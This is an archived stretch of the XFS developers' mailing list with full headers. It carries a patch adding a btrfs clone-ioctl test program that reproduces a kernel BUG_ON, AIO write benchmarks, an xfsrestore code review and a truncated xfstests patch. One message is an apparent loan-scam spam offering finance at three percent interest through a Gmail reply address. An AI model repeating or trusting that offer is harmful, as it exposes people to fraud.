09CCB8F804C for ; Wed, 5 Feb 2014 03:17:01 -0800 (PST) X-ASG-Debug-ID: 1391599020-04cbb00c2b13a520001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id JoiP2Nesn4o8E7BI (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 05 Feb 2014 03:17:01 -0800 (PST) X-Barracuda-Envelope-From: ddiss@suse.de X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id C2C1AAC56; Wed, 5 Feb 2014 11:16:59 +0000 (UTC) From: David Disseldorp To: xfs@oss.sgi.com Cc: dsterba@suse.cz, linux-btrfs@vger.kernel.org Subject: [PATCH 0/2] __btrfs_drop_extents() BUG_ON reproducer Date: Wed, 5 Feb 2014 12:16:47 +0100 X-ASG-Orig-Subj: [PATCH 0/2] __btrfs_drop_extents() BUG_ON reproducer Message-Id: <1391599009-2402-1-git-send-email-ddiss@suse.de> X-Mailer: git-send-email 1.8.4.5 X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1391599020 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144861 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This patch-set provides a reproducer for hitting the 3.14.0-rc1 BUG_ON() at: 692 int __btrfs_drop_extents(struct btrfs_trans_handle *trans, ... 839 /* 840 * | ---- range to drop ----- | 841 * | -------- extent -------- | 842 */ 843 if (start <= key.offset && end < extent_end) { 844 BUG_ON(extent_type == BTRFS_FILE_EXTENT_INLINE); 845 846 memcpy(&new_key, &key, sizeof(new_key)); The first patch adds a small cloner binary which is used by btrfs/035 to dispatch BTRFS_IOC_CLONE_RANGE requests. This workload resembles that of Samba's vfs_btrfs module, when a Windows client restores a file from a shadow-copy (snapshot) using server-side copy requests. Feedback appreciated. Cheers, David src/Makefile | 2 +- src/cloner.c | 168 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/035 | 76 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/035.out | 3 +++ tests/btrfs/group | 1 + 5 files changed, 249 insertions(+), 1 deletion(-) From ddiss@suse.de Wed Feb 5 05:17:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 935DC7F55 for ; Wed, 5 Feb 2014 05:17:06 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 622393040BA for ; Wed, 5 Feb 2014 03:17:06 -0800 (PST) X-ASG-Debug-ID: 1391599020-04bdf0122014e790001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id UykGQf7fQ20DmRCq (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 05 Feb 2014 03:17:01 -0800 (PST) X-Barracuda-Envelope-From: ddiss@suse.de X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id CEC48AC5D; Wed, 5 Feb 2014 11:16:59 +0000 (UTC) From: David Disseldorp To: xfs@oss.sgi.com Cc: dsterba@suse.cz, linux-btrfs@vger.kernel.org, David Disseldorp Subject: [PATCH 1/2] btrfs: add small program for clone testing Date: Wed, 5 Feb 2014 12:16:48 +0100 X-ASG-Orig-Subj: [PATCH 1/2] btrfs: add small program for clone testing Message-Id: <1391599009-2402-2-git-send-email-ddiss@suse.de> X-Mailer: git-send-email 1.8.4.5 In-Reply-To: <1391599009-2402-1-git-send-email-ddiss@suse.de> References: <1391599009-2402-1-git-send-email-ddiss@suse.de> X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1391599020 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144861 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- The cloner program is capable of cloning files using the BTRFS_IOC_CLONE and BTRFS_IOC_CLONE_RANGE ioctls. Signed-off-by: David Disseldorp --- src/Makefile | 2 +- src/cloner.c | 168 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 169 insertions(+), 1 deletion(-) create mode 100644 src/cloner.c diff --git a/src/Makefile b/src/Makefile index 84c8297..6509f2d 100644 --- a/src/Makefile +++ b/src/Makefile @@ -18,7 +18,7 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \ locktest unwritten_mmap bulkstat_unlink_test t_stripealign \ bulkstat_unlink_test_modified t_dir_offset t_futimens t_immutable \ stale_handle pwrite_mmap_blocked t_dir_offset2 seek_sanity_test \ - seek_copy_test t_readdir_1 t_readdir_2 fsync-tester nsexec + seek_copy_test t_readdir_1 t_readdir_2 fsync-tester nsexec cloner SUBDIRS = diff --git a/src/cloner.c b/src/cloner.c new file mode 100644 index 0000000..59defbb --- /dev/null +++ b/src/cloner.c @@ -0,0 +1,168 @@ +/* + * Tiny program to perform file (range) clones using raw Btrfs ioctls. + * It should only be needed until btrfs-progs has an xfs_io equivalent. + * + * Copyright (C) 2014 SUSE Linux Products GmbH. All Rights Reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +struct btrfs_ioctl_clone_range_args { + int64_t src_fd; + uint64_t src_offset; + uint64_t src_length; + uint64_t dest_offset; +}; + +#define BTRFS_IOCTL_MAGIC 0x94 +#define BTRFS_IOC_CLONE _IOW(BTRFS_IOCTL_MAGIC, 9, int) +#define BTRFS_IOC_CLONE_RANGE _IOW(BTRFS_IOCTL_MAGIC, 13, \ + struct btrfs_ioctl_clone_range_args) + +static void +usage(char *name, const char *msg) +{ + printf("Fatal: %s\n" + "Usage:\n" + "%s [options] \n" + "\tA full file clone (reflink) is performed by default, " + "unless any of the following are specified:\n" + "\t-s : source file offset (default = 0)\n" + "\t-d : destination file offset (default = 0)\n" + "\t-l : length of clone (default = 0)\n", + msg, name); + _exit(1); +} + +static int +clone_file(int src_fd, int dst_fd) +{ + int ret = ioctl(dst_fd, BTRFS_IOC_CLONE, src_fd); + if (ret != 0) + ret = errno; + return ret; +} + +static int +clone_file_range(int src_fd, int dst_fd, uint64_t src_off, uint64_t dst_off, + uint64_t len) +{ + struct btrfs_ioctl_clone_range_args cr_args; + int ret; + + memset(&cr_args, 0, sizeof(cr_args)); + cr_args.src_fd = src_fd; + cr_args.src_offset = src_off; + cr_args.src_length = len; + cr_args.dest_offset = dst_off; + ret = ioctl(dst_fd, BTRFS_IOC_CLONE_RANGE, &cr_args); + if (ret != 0) + ret = errno; + return ret; +} + +int +main(int argc, char **argv) +{ + bool full_file = true; + uint64_t src_off = 0; + uint64_t dst_off = 0; + uint64_t len = 0; + char *src_file; + int src_fd; + char *dst_file; + int dst_fd; + int ret; + int opt; + + while ((opt = getopt(argc, argv, "s:d:l:")) != -1) { + switch (opt) { + case 's': + src_off = atoi(optarg); + full_file = false; + break; + case 'd': + dst_off = atoi(optarg); + full_file = false; + break; + case 'l': + len = atoi(optarg); + full_file = false; + break; + default: + usage(argv[0], "invalid argument"); + } + } + + /* should be exactly two args left */ + if (optind != argc - 2) + usage(argv[0], "src_file and dst_file arguments are madatory"); + + src_file = (char *)strdup(argv[optind++]); + if (src_file == NULL) { + ret = ENOMEM; + goto err_out; + } + dst_file = (char *)strdup(argv[optind++]); + if (dst_file == NULL) { + ret = ENOMEM; + goto err_src_free; + } + + src_fd = open(src_file, O_RDONLY); + if (src_fd == -1) { + ret = errno; + goto err_dst_free; + } + dst_fd = open(dst_file, O_CREAT | O_WRONLY, 0644); + if (dst_fd == -1) { + ret = errno; + goto err_src_close; + } + + if (full_file) { + ret = clone_file(src_fd, dst_fd); + } else { + ret = clone_file_range(src_fd, dst_fd, src_off, dst_off, len); + } + if (ret != 0) { + printf("clone failed with %d\n", ret); + goto err_dst_close; + } + + ret = 0; +err_dst_close: + ret |= close(dst_fd); +err_src_close: + ret |= close(src_fd); +err_dst_free: + free(dst_file); +err_src_free: + free(src_file); +err_out: + return ret; +} -- 1.8.4.5 From viro@ftp.linux.org.uk Wed Feb 5 07:55:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7B1E37F52 for ; Wed, 5 Feb 2014 07:55:39 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 541BE8F8066 for ; Wed, 5 Feb 2014 05:55:36 -0800 (PST) X-ASG-Debug-ID: 1391608534-04bdf0121e153c50001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id c2drvfOZPbY0lRIq (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 05 Feb 2014 05:55:35 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WB2wq-0002CZ-Jq; Wed, 05 Feb 2014 13:55:28 +0000 Date: Wed, 5 Feb 2014 13:55:28 +0000 From: Al Viro To: Christoph Hellwig Cc: Dave Chinner , linux-fsdevel@vger.kernel.org, Sergey Meirovich , xfs@oss.sgi.com Subject: Re: [PATCH 0/3] support appending AIO writes Message-ID: <20140205135528.GN10323@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: [PATCH 0/3] support appending AIO writes References: <20140204172402.380571745@bombadil.infradead.org> <20140204222901.GE13997@dastard> <20140205065728.GA30899@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140205065728.GA30899@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1391608534 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144865 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 04, 2014 at 10:57:28PM -0800, Christoph Hellwig wrote: > On Wed, Feb 05, 2014 at 09:29:01AM +1100, Dave Chinner wrote: > > The patches look sane. Does the dio change conflict with the > > work Al is doing right now of the direct IO path, or will > > marshalling that part of the change through the XFS tree be fine? > > I've not seen any changes in that area in Al's trees. That being said > I don't think this little flag should cause any major problems as we'll > have to pass the flags argument in some form of direct I/O method for > all the other quirks we have. Shouldn't be a problem; there might be textual conflicts, but seeing that XFS tree is much less likely to be rebased, I can just pull from it once it gets to those. From wlmg@outlook.com Wed Feb 5 08:01:43 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.0 required=5.0 tests=FREEMAIL_FROM,FREEMAIL_REPLYTO autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1B6AF7F52 for ; Wed, 5 Feb 2014 08:01:43 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 13A9E30406A for ; Wed, 5 Feb 2014 06:01:40 -0800 (PST) X-ASG-Debug-ID: 1391608890-04cb6c6de11455f0002-NocioJ Received: from zimbra.wikarealty.co.id (zimbra.wikarealty.co.id [202.148.23.201]) by cuda.sgi.com with ESMTP id h2dNH3ADesQlDc2u; Wed, 05 Feb 2014 06:01:38 -0800 (PST) X-Barracuda-Envelope-From: wlmg@outlook.com X-Barracuda-Apparent-Source-IP: 202.148.23.201 Received: from localhost (localhost.wikarealty.co.id [127.0.0.1]) by zimbra.wikarealty.co.id (Postfix) with ESMTP id ED5D526E2AF6; Wed, 5 Feb 2014 20:59:19 +0700 (WIB) Received: from zimbra.wikarealty.co.id ([127.0.0.1]) by localhost (zimbra.wikarealty.co.id [127.0.0.1]) (amavisd-new, port 10032) with ESMTP id lqMCeW6Xq64y; Wed, 5 Feb 2014 20:59:19 +0700 (WIB) Received: from localhost (localhost.wikarealty.co.id [127.0.0.1]) by zimbra.wikarealty.co.id (Postfix) with ESMTP id AA67926E2AAE; Wed, 5 Feb 2014 20:59:19 +0700 (WIB) X-Virus-Scanned: amavisd-new at wikarealty.co.id Received: from zimbra.wikarealty.co.id ([127.0.0.1]) by localhost (zimbra.wikarealty.co.id [127.0.0.1]) (amavisd-new, port 10026) with ESMTP id brDovkpVC7gB; Wed, 5 Feb 2014 20:59:19 +0700 (WIB) Received: from [10.150.78.86] (unknown [196.46.246.167]) by zimbra.wikarealty.co.id (Postfix) with ESMTPSA id 50E6826E28E2; Wed, 5 Feb 2014 20:59:06 +0700 (WIB) Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Subject: Contact Us To: Recipients X-ASG-Orig-Subj: Contact Us From: Elite Finance Date: Wed, 05 Feb 2014 14:58:59 +0100 Reply-To: esecurecompany247@gmail.com Message-Id: <20140205135907.50E6826E28E2@zimbra.wikarealty.co.id> X-Barracuda-Connect: zimbra.wikarealty.co.id[202.148.23.201] X-Barracuda-Start-Time: 1391608898 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_ADDR_MATCH X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144865 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address We can Provide you Finance at three percent interest rate, reply if interes= ted. From bfoster@redhat.com Wed Feb 5 08:12:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9436E7F52 for ; Wed, 5 Feb 2014 08:12:20 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5B35530406A for ; Wed, 5 Feb 2014 06:12:20 -0800 (PST) X-ASG-Debug-ID: 1391609538-04bdf0121e1545b0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Q4CkhEzkxXprPmwP for ; Wed, 05 Feb 2014 06:12:19 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s15ECGYl022546 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 5 Feb 2014 09:12:16 -0500 Received: from laptop.bfoster (vpn-58-142.rdu2.redhat.com [10.10.58.142]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s15ECF0C017409 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Wed, 5 Feb 2014 09:12:16 -0500 Message-ID: <52F246BF.60302@redhat.com> Date: Wed, 05 Feb 2014 09:12:15 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH] restore: don't trash file capabilities References: <1391564918-25524-1-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH] restore: don't trash file capabilities In-Reply-To: <1391564918-25524-1-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391609539 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/04/2014 08:48 PM, Dave Chinner wrote: > From: Dave Chinner > > xfsrestore fails to restore file capabilities correctly because it > sets the owner on the file after it has restored the capability > attributes. This results in the kernel stripping the capabilities > when changing the owner of the file and hence the restored file is > not complete. > > Fix this by changing the owner of the file when it is created rather > than after it has been fully restored. This ensures we don't kill > the caps as they are restored after the owner it appropriately set. > This fixes the xfs/296 failure. > > Signed-off-by: Dave Chinner > --- > restore/content.c | 116 ++++++++++++++++++++++++++++++++++++------------------ > 1 file changed, 77 insertions(+), 39 deletions(-) > > diff --git a/restore/content.c b/restore/content.c > index 54d933c..b655ed1 100644 > --- a/restore/content.c > +++ b/restore/content.c ... > @@ -7442,6 +7509,12 @@ restore_reg( drive_t *drivep, > } > } > > + if (strctxp->sc_ownerset == BOOL_FALSE && persp->a.ownerpr) { > + rval = set_file_owner(path, fdp, strctxp); > + if (rval) > + return BOOL_TRUE; > + } > + If this fails (rval == -1), we have unlinked the file and closed the fd in set_file_owner(). Why return BOOL_TRUE? I've not gone through and learned what dump/restore is doing, but this path looks like it's going to continue on with the restore in that scenario. Even if that is what we want to happen, it seems inconsistent with failure handling in set_file_owner() and the fact that we skip the rest of this function. > if ( persp->a.dstdirisxfspr ) { > > /* set the extended inode flags, except those which must > @@ -7623,45 +7696,10 @@ restore_complete_reg(stream_context_t *strcxtp) > > /* set the owner and group (if enabled) > */ > - if ( persp->a.ownerpr ) { > - rval = fchown( fd, > - ( uid_t )bstatp->bs_uid, > - ( gid_t )bstatp->bs_gid ); > - if ( rval ) { > - mode_t mode = (mode_t)bstatp->bs_mode; > - > - mlog( MLOG_VERBOSE | MLOG_WARNING, > - _("chown (uid=%u, gid=%u) %s failed: %s\n"), > - bstatp->bs_uid, > - bstatp->bs_gid, > - path, > - strerror( errno )); > - > - if ( mode & S_ISUID ) { > - mlog( MLOG_VERBOSE | MLOG_WARNING, > - _("stripping setuid bit on %s " > - "since chown failed\n"), > - path ); > - mode &= ~S_ISUID; > - } > - if ( (mode & (S_ISGID|S_IXGRP)) == (S_ISGID|S_IXGRP) ) { > - mlog( MLOG_VERBOSE | MLOG_WARNING, > - _("stripping setgid bit on %s " > - "since chown failed\n"), > - path ); > - mode &= ~S_ISGID; > - } > - if ( mode != (mode_t)bstatp->bs_mode ) { > - rval = fchmod( fd, mode ); > - if ( rval ) { > - mlog( MLOG_VERBOSE | MLOG_ERROR, > - _("unable to strip setuid/setgid " > - "on %s, unlinking file.\n"), > - path ); > - unlink( path ); > - } > - } > - } > + if (strcxtp->sc_ownerset == BOOL_FALSE && persp->a.ownerpr) { > + rval = set_file_owner(path, &fd, strcxtp); > + if (rval) > + return BOOL_TRUE; > } Ok, so we handle both set_file_owner() situations because the ordering here is really only important for regular files. IIUC, this particular block is still required for that non-ifreg case. Though, in the failure case, it looks like we're leaking the fd by returning now. Brian > > /* set the permissions/mode > From rathamahata@gmail.com Wed Feb 5 08:52:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2BABA7F52 for ; Wed, 5 Feb 2014 08:52:54 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id AD5E5AC003 for ; Wed, 5 Feb 2014 06:52:53 -0800 (PST) X-ASG-Debug-ID: 1391611967-04cb6c6de3147460001-NocioJ Received: from mail-la0-f47.google.com (mail-la0-f47.google.com [209.85.215.47]) by cuda.sgi.com with ESMTP id B3fYxSVcSWZxPRtn (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 05 Feb 2014 06:52:48 -0800 (PST) X-Barracuda-Envelope-From: rathamahata@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.215.47 X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.47] Received: by mail-la0-f47.google.com with SMTP id hr17so400124lab.6 for ; Wed, 05 Feb 2014 06:52:47 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.47] X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.47] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=FO2w6FRSdffFNA88wiuFu1tcsZw+036eE3VzTMljn2I=; b=wzUBXCwwELXQjj8bTzdrQjCdvno3LAiG6Z/33QpC1eerdhzXxjdrka/epCp7pftUeJ YSdqPqeajgPhJD1bpK3u/BkamjCJC0iNah4c1oO720a7A2ryaonELXKEHAl5HhtBLMLR 8Zzf6pw6Fkdr7CkehFxmk5HteEz16Y5njvpbx+8GjRkljaVqyzLeI/tVOkBxsiPJ+YNe BFVTbmLSlEiYl/NEb4nHkGx91u9bInRfyV13ubliZc/kDpQHvfNZT7VVCCXy58/HgwLh yILi81MTLrnOOvH77m59OBBblbn+Gb1c0WfYi9nZDstjDbQmmTigGOmtMboStnLnkIR2 FpIA== X-Received: by 10.112.205.5 with SMTP id lc5mr1377403lbc.40.1391611967359; Wed, 05 Feb 2014 06:52:47 -0800 (PST) MIME-Version: 1.0 Received: by 10.112.130.197 with HTTP; Wed, 5 Feb 2014 06:52:27 -0800 (PST) In-Reply-To: <20140204172402.380571745@bombadil.infradead.org> References: <20140204172402.380571745@bombadil.infradead.org> From: Sergey Meirovich Date: Wed, 5 Feb 2014 16:52:27 +0200 Message-ID: Subject: Re: [PATCH 0/3] support appending AIO writes To: Christoph Hellwig X-ASG-Orig-Subj: Re: [PATCH 0/3] support appending AIO writes Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-la0-f47.google.com[209.85.215.47] X-Barracuda-Start-Time: 1391611968 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144866 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hi Christoph, Thanks a lot! Applied your patches on top of 3.13.1 and they indeed make a huge difference. Append AIO chunk size w/o patches with patches =================================================== 4k 6.8834 Mb/sec 1762.15 IOps 31.542 Mb/sec 8074.75 IOps 8k 15.321 Mb/sec 1961.12 IOps 62.873 Mb/sec 8047.71 IOps 16k 28.257 Mb/sec 1808.46 IOps 139.35 Mb/sec 8918.45 IOps On 4 February 2014 19:24, Christoph Hellwig wrote: > At least XFS can support appending AIO writes easily, and Sergey has > demonstrated a use case for them. > > I've not done any performance testing myself, but ensured that xfstests > already exercises the code path. From sandeen@redhat.com Wed Feb 5 12:36:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 286587F52 for ; Wed, 5 Feb 2014 12:36:02 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1BCA58F8050 for ; Wed, 5 Feb 2014 10:35:59 -0800 (PST) X-ASG-Debug-ID: 1391625357-04cbb00c2a14b600001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id DDODYvH1pm1gOsD0 for ; Wed, 05 Feb 2014 10:35:58 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s15IZvpH004374 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 5 Feb 2014 13:35:57 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s15IZupJ016253 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO) for ; Wed, 5 Feb 2014 13:35:56 -0500 Message-ID: <52F2848B.5070704@redhat.com> Date: Wed, 05 Feb 2014 12:35:55 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfstests: initialize "valid" bitmap in randholes.c X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfstests: initialize "valid" bitmap in randholes.c Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391625358 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Failures were reported in xfs/008 on s390; dchinner suggested that perhaps the uninitialized "valid" bitmap was behaving differently on that platform, and sure enough, this patch fixes things up. TBH, I'm not sure why using an uninitialized bitmap worked at all, ever, anywhere...? Signed-off-by: Eric Sandeen --- diff --git 